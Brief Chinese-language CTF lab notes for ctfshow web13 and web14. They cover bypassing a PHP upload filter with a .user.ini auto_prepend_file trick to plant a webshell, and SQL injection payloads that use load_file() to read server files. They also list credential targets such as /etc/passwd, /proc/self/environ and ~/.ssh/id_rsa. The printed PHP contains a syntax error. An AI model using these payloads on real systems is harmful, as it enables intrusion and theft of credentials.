做题笔记(ctfshow)
一。ctfshow web13
文件扫描
存在upload.php.bak
<?php header("content-type:text/html;charset=utf-8");$filename = $_FILES['file']['name'];$temp_name = $_FILES['file']['tmp_name'];$size = $_FILES['file']['size'];$error = $_FILES['file']['error'];$arr = pathinfo($filename);$ext_suffix = $arr['extension'];if ($size > 24){die("error file zise");}if (strlen($filename)>9){die("error file name");}if(strlen($ext_suffix)>3){die("error suffix");}if(preg_match("/php/i",$ext_suffix)){die("error suffix");}if(preg_match("/php/i"),$filename)){die("error file name");}if (move_uploaded_file($temp_name, './'.$filename)){echo "文件上传成功!";}else{echo "文件上传失败!";}?>
我们要上传一句话木马,文件大小要小于24字节,名字长度要小于9,后缀小于等于3,名字中不能有php(抓包修改也不行)
所以要上传一个.user.ini,内容为auto_prepend_file=1.txt
用蚁剑连接
可以测试成功却无法操作
改为网页指令
这里可以用web12的指令
开头带有四个文件
二。ctfshow web14
-1/**/union/**/select/**/version()
检索当前数据库系统的版本信息。
-1/**/union/**/select/**/load_file('/var/www/html/here_1s_your_f1ag.php')
/etc/passwd
→ 系统用户信息(但密码哈希通常存储在/etc/shadow
)。/var/www/html/config.php
→ 网站配置文件(可能含数据库密码)。/proc/self/environ
→ Web 服务器环境变量(可能泄露敏感信息)。~/.ssh/id_rsa
→ SSH 私钥(如果权限配置错误)。
用-1/**/union/**/select/**/version() 测试出了可以弹出version值
说明可以注入
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
-1/**/union/**/select/**/load_file('/real_flag_is_here')